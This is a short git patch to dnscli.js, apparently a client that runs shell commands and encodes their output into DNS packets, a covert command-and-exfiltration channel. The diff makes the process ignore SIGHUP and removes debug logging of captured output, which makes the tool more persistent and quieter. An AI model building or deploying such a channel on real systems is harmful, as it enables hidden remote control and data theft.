From 833d3536704e74066633899d48fdfbb06127e31d Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Fri, 15 Jul 2022 01:04:39 -0700 Subject: Remove debugging prints; rename main file --- dnscli.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) (limited to 'dnscli.js') diff --git a/dnscli.js b/dnscli.js index 204b439..befb9d6 100644 --- a/dnscli.js +++ b/dnscli.js @@ -8,6 +8,8 @@ const NOP_SLEEP_TIME = 1; const dns = require('dns'); const cp = require('child_process'); +process.on('SIGHUP', function() {}); + function sleep(sec) { return new Promise(function(resolve) { setTimeout(resolve, 1000*sec); @@ -58,13 +60,11 @@ async function event() { if (stdout.length > 0) { for (let line of stdout.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } if (stderr.length > 0) { for (line of stderr.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } -- cgit v1.2.3